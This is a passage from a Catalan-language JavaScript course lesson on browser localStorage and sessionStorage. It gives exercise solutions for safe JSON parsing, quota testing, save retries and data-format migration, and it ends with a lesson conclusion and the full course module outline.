if (text === null) return perDefecte;
try {
const valor = JSON.parse(text);
return (valor !== null && typeof valor === 'object') ? valor : perDefecte;
} catch {
return perDefecte;
}
}
export function llegirPreferencies() {
const desades = analitzarSegur(localStorage.getItem(CLAU_PREFS), {});
// El spread aplica els valors per defecte NOMÉS a les claus absents: un false desat es respecta
return { ...PER_DEFECTE, ...desades };
}
export function desarPreferencia(clau, valor) {
if (!(clau in PER_DEFECTE)) throw new Error(`Preferència desconeguda: ${clau}`);
const actuals = llegirPreferencies();
const noves = { ...actuals, [clau]: valor }; // actualització immutable (04-07)
try {
localStorage.setItem(CLAU_PREFS, JSON.stringify(noves));
} catch {
console.warn("[nomada] No s'ha pogut desar la preferència.");
}
return noves;
}
export function desarFiltreTemporal(filtre) {
sessionStorage.setItem(CLAU_FILTRE, JSON.stringify(filtre));
}
export function llegirFiltreTemporal() {
return analitzarSegur(sessionStorage.getItem(CLAU_FILTRE), { responsable: null, text: '' });
}La clau és a { ...PER_DEFECTE, ...desades }: el spread de 04-07 completa només el que falta. Si haguessis escrit desades.columnesCompactes || PER_DEFECTE.columnesCompactes, un false desat es convertiria en false per casualitat… però un 0 o una cadena buida en una altra preferència es perdrien. El spread no té aquest problema perquè distingeix absent de falsy.
Solució 2
export function provarQuota() {
const CLAU = '__quota__';
const bloc = 'x'.repeat(1024); // 1 KiB de caràcters (≈2 KB en UTF-16)
let acumulat = '';
let kb = 0;
try {
// Bucle deliberadament infinit: surt per l'excepció
for (;;) {
acumulat += bloc;
localStorage.setItem(CLAU, acumulat);
kb += 1;
}
} catch (error) {
if (error.name !== 'QuotaExceededError' && error.name !== 'SecurityError') throw error;
console.log(`Quota aproximada: ${kb} KB de caràcters (~${(kb * 2 / 1024).toFixed(1)} MB reals)`);
return kb;
} finally {
localStorage.removeItem(CLAU); // ← s'executa passi el que passi (02-05)
}
}
export function desarAmbReintent(repositori, tauler, historial) {
let retall = [...historial];
for (let intent = 1; intent <= 3; intent += 1) {
if (repositori.desar(tauler)) {
return { desat: true, intents: intent, historial: retall };
}
retall = retall.slice(Math.ceil(retall.length / 2)); // conserva el més recent
console.warn(`[nomada] Reintent ${intent}: historial retallat a ${retall.length} entrades.`);
}
return { desat: false, intents: 3, historial: retall };
}El finally és imprescindible: sense ell, una fallada deixaria megues d'escombraries ocupant la quota de l'usuari. I fixa't que slice des de la meitat conserva el final de l'historial, que és el recent i per tant el valuós.
Solució 3
const VERSIO_ACTUAL = 2;
export function migrar(dades) {
let actual = dades;
if (actual.versio === 1) {
actual = {
versio: 2,
nom: actual.nom,
tasques: actual.tasques.map(({ revisor, ...resta }) => ({
...resta,
revisadaPer: revisor ?? null, // reanomenat
bloquejadaPer: [] // camp nou amb el seu valor per defecte
}))
};
}
if (actual.versio !== VERSIO_ACTUAL) {
throw new ErrorDeDades(`No sé migrar la versió ${actual.versio}.`);
}
return actual;
}// dins de RepositoriLocal.carregar(), després del JSON.parse
let migrat;
try {
migrat = migrar(dades);
} catch (error) {
console.warn('[nomada]', error.message);
this.netejar();
return null;
}
if (migrat !== dades) {
this.#magatzem.setItem(this.#clau, JSON.stringify(migrat)); // consolidar la migració
}
return Tauler.importar(JSON.stringify(migrat));Dos detalls: la desestructuració ({ revisor, ...resta }) de 04-07 elimina la propietat vella al mateix temps que en captura el valor, que és la manera idiomàtica de reanomenar un camp; i la migració només s'escriu al magatzem si realment ha canviat alguna cosa, per no reescriure a cada arrencada.
Conclusió
Nómada Tasques ja recorda. Saps que el navegador ofereix cinc magatzems amb propòsits diferents —cookies per al que ha de viatjar al servidor, localStorage i sessionStorage per a dades petites i síncrones, IndexedDB per a volum i estructura, Cache API per a respostes HTTP— i saps justificar per què el projecte fa servir localStorage. Domines els sis membres de la Web Storage API, i tens gravat que només desa cadenes: d'aquí que JSON.stringify i JSON.parse siguin obligatoris, que analitzarSegur protegeixi de dades corrompudes, i que el toJSON i el static desDeJSON que vas escriure a 05-03 hagin resultat ser exactament la peça que faltava —sense ells, els camps privats #estat i #hores s'haurien perdut en silenci, i en tornar tindries objectes plans sense mètodes ni getters—.
Saps que l'origen (protocol, domini i port) és la frontera del magatzem, i per què canviar de port sembla esborrar les teves dades. Saps triar entre persistència indefinida i durada de pestanya amb una pregunta senzilla, sincronitzar dues pestanyes obertes amb l'esdeveniment storage —que mai es dispara a la pestanya que va fer el canvi— i endollar aquella sincronització als CustomEvent de 06-04 sense tocar la vista. I coneixes les tres maneres en què això falla en producció: la quota d'uns 5 MB amb el seu QuotaExceededError, el mode privat on accedir pot llançar SecurityError —d'aquí la comprovació que intenta escriure de debò i la reserva en memòria—, i el fet que sigui síncron i bloquegi el fil, que enllaça directament amb el bucle d'esdeveniments de 05-07 i obliga a esmorteir amb debounce. Per damunt de tot el que és tècnic queda l'advertiment que no has d'oblidar: localStorage no està xifrat, no caduca i qualsevol XSS el llegeix sencer, així que ni tokens, ni contrasenyes, ni dades personals sense base legal i sense revisió de compliance.
I tens la primera peça de la capa de dades: js/dades/repositori-local.js, amb desar(tauler), carregar() i netejar(), que descarta el que està corromput, revalida amb Tauler.importar perquè no es confia mai en el que surt del magatzem, versiona el format amb nomada:tauler:v1 i sap migrar. L'aplicació arrenca del que està desat, cau al backlog inicial si no hi ha res, i desa escoltant els esdeveniments que ja emetia. El model no ha canviat ni una línia.
Però la persistència local només resol la meitat del problema que plantejava el tancament del Mòdul 6. La Marta ja no perd la seva feina en recarregar… i continua sent l'única que ho veu. L'Iván té el seu propi localStorage al seu portàtil, amb la seva pròpia còpia del tauler, i la Lucía una altra de diferent al seu. Tres veritats paral·leles que no es troben mai. Perquè el tauler sigui el mateix per a tot l'equip calen dades que visquin fora del navegador, en un servidor, i una manera de parlar-hi sense recarregar la pàgina. Això és exactament el que porta la lliçó següent: Fetch API i AJAX, on el js/dades/repositori-local.js que acabes d'escriure tindrà un germà, js/dades/api-tasques.js, i on per fi substituiràs aquelles funcions llegirBacklogSimulat() i desarInformeSimulat() de 05-06 —les que fingien latència amb setTimeout— per peticions de debò.
Curs de JavaScript: De Principiant a Avançat
Mòdul 1: Introducció a JavaScript
- Què és JavaScript?
- Configuració del teu Entorn de Desenvolupament
- El teu Primer Programa en JavaScript
- Sintaxi i Conceptes Bàsics de JavaScript
- Variables i Tipus de Dades
- Operadors Bàsics
- Conversió de Tipus i Comparacions
- El Projecte del Curs: Nómada Tasques
Mòdul 2: Estructures de Control
- Sentències Condicionals
- Bucles: for, while, do-while
- Sentències Switch
- Control del Flux: break, continue i Bucles Imbricats
- Gestió d'Errors amb try-catch
Mòdul 3: Funcions
- Definició i Crida de Funcions
- Expressions de Funció i Funcions Fletxa
- Paràmetres i Valors de Retorn
- Àmbit i Closures
- Hoisting i el Context d'Execució
- Funcions d'Ordre Superior
- Recursivitat
Mòdul 4: Objectes i Arrays
- Introducció als Objectes
- Mètodes d'Objecte i la Paraula Clau
this - Arrays: Conceptes Bàsics i Mètodes
- Iteració sobre Arrays
- Cercar, Ordenar i Agregar Dades: find, sort i reduce
- Desestructuració d'Arrays
- Desestructuració d'Objectes, Spread i Rest
- JSON i Còpies d'Objectes
Mòdul 5: Objectes i Funcions Avançades
- Prototips i Herència
- Classes i Programació Orientada a Objectes
- Encapsulació: Getters, Setters i Camps Privats
- Mòduls i Importació/Exportació
- JavaScript Asíncron: Callbacks
- Promeses i Async/Await
- El Bucle d'Esdeveniments i la Cua de Microtasques
- Iteradors i Generadors
Mòdul 6: El Model d'Objectes del Document (DOM)
- Introducció al DOM
- Selecció i Manipulació d'Elements del DOM
- Gestió d'Esdeveniments
- Propagació, Delegació i Esdeveniments Personalitzats
- Creació i Eliminació d'Elements del DOM
- Renderitzat de Llistes i Plantilles HTML
- Gestió i Validació de Formularis
Mòdul 7: APIs del Navegador i Temes Avançats
- Emmagatzematge Local i de Sessió
- Fetch API i AJAX
- Peticions Robustes: Errors, Timeouts i AbortController
- WebSockets
- Service Workers i Aplicacions Web Progressives (PWAs)
- APIs del Navegador Essencials
- Introducció a WebAssembly
Mòdul 8: Proves i Depuració
- Depuració de JavaScript
- Qualitat de Codi: ESLint, Prettier i Convencions
- Proves Unitàries amb Jest
- Dobles de Prova: Mocks, Stubs i Spies
- Proves d'Integració
- Proves d'Extrem a Extrem amb Cypress
Mòdul 9: Rendiment i Optimització
- Mesurar Abans d'Optimitzar: DevTools i Web Vitals
- Optimització del Rendiment de JavaScript
- Gestió de Memòria
- Manipulació Eficient del DOM
- Càrrega Diferida i Divisió de Codi
Mòdul 10: Frameworks i Llibreries de JavaScript
- Per Què Existeixen els Frameworks
- Introducció a React
- Gestió d'Estat amb Redux
- Conceptes Bàsics de Vue.js
- Conceptes Bàsics d'Angular
- Triar el Framework Adequat
